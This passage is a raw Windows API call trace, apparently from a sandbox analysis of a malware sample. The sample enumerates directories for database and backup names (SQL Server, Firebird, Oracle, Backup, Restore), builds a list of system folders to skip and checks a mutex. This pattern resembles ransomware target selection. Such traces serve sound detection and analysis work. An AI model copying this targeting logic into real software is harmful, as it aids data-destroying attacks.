ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@缤R企@\x18㿬Q\x181")) returned 0xffffffff [0056.560] GetLastError () returned 0x2 [0056.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\\x18ꮠUÄP⏨R㯸") returned 9 [0056.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@坜U企@\x18?T\x18;")) returned 0xffffffff [0056.561] GetLastError () returned 0x2 [0056.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\\x18ꮠUÄP⏨R㯸") returned 8 [0056.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0056.562] GetLastError () returned 0x2 [0056.562] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 37 [0056.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@缤R企@\x18坜U\x18j")) returned 0xffffffff [0056.562] GetLastError () returned 0x2 [0056.562] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 37 [0056.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 6 [0056.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0056.563] GetLastError () returned 0x2 [0056.563] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\坘U ") returned 6 [0056.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 7 [0056.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@嚔U企@\x18?T\x18y")) returned 0xffffffff [0056.563] GetLastError () returned 0x2 [0056.563] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@册U企@\x18?T\x18\x81")) returned 0xffffffff [0056.564] GetLastError () returned 0x2 [0056.564] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0056.564] GetLastError () returned 0x2 [0056.564] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.564] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@嚔U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.564] GetLastError () returned 0x2 [0056.564] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@册U企@\x18?T\x18\x97")) returned 0xffffffff [0056.565] GetLastError () returned 0x2 [0056.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.565] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.565] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.565] GlobalUnlock (hMem=0x44000c) returned 0 [0056.565] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.565] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.565] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.565] GlobalUnlock (hMem=0x44000c) returned 0 [0056.565] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.565] GlobalUnlock (hMem=0x440004) returned 0 [0056.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.565] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.565] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 46 [0056.565] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.565] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 15 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 11 [0056.566] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.566] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.566] GlobalUnlock (hMem=0x440004) returned 0 [0056.566] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.566] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.566] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.566] GlobalUnlock (hMem=0x440004) returned 0 [0056.566] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.566] GlobalUnlock (hMem=0x44000c) returned 0 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 15 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 11 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 9 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 18 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 28 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 10 [0056.566] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 8 [0056.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 9 [0056.567] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\", cchLength=0x2c | out: lpsz="c:\\program files\\common files\\speechengines\\") returned 0x2c [0056.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⏨R㯸") returned 13 [0056.567] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.567] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.567] GlobalUnlock (hMem=0x44000c) returned 0 [0056.567] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.567] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.567] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.567] GlobalUnlock (hMem=0x44000c) returned 0 [0056.567] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.567] GlobalUnlock (hMem=0x440004) returned 0 [0056.567] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.567] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.567] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0056.567] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0056.567] GetLastError () returned 0x12 [0056.567] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.567] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.567] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.567] GlobalUnlock (hMem=0x440004) returned 0 [0056.567] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.567] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.568] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.568] GlobalUnlock (hMem=0x440004) returned 0 [0056.568] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.568] GlobalUnlock (hMem=0x44000c) returned 0 [0056.568] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.568] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0056.568] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.568] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.568] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.568] GlobalUnlock (hMem=0x44000c) returned 0 [0056.568] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.569] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.569] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.569] GlobalUnlock (hMem=0x44000c) returned 0 [0056.569] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.569] GlobalUnlock (hMem=0x440004) returned 0 [0056.569] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.569] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.569] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.569] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.569] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.569] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.569] GlobalUnlock (hMem=0x440004) returned 0 [0056.569] GlobalLock (hMem=0x440004) returned 0x54f168 [0056.569] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.569] GlobalHandle (pMem=0x54f168) returned 0x440004 [0056.569] GlobalUnlock (hMem=0x440004) returned 0 [0056.569] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.569] GlobalUnlock (hMem=0x44000c) returned 0 [0056.569] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.569] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 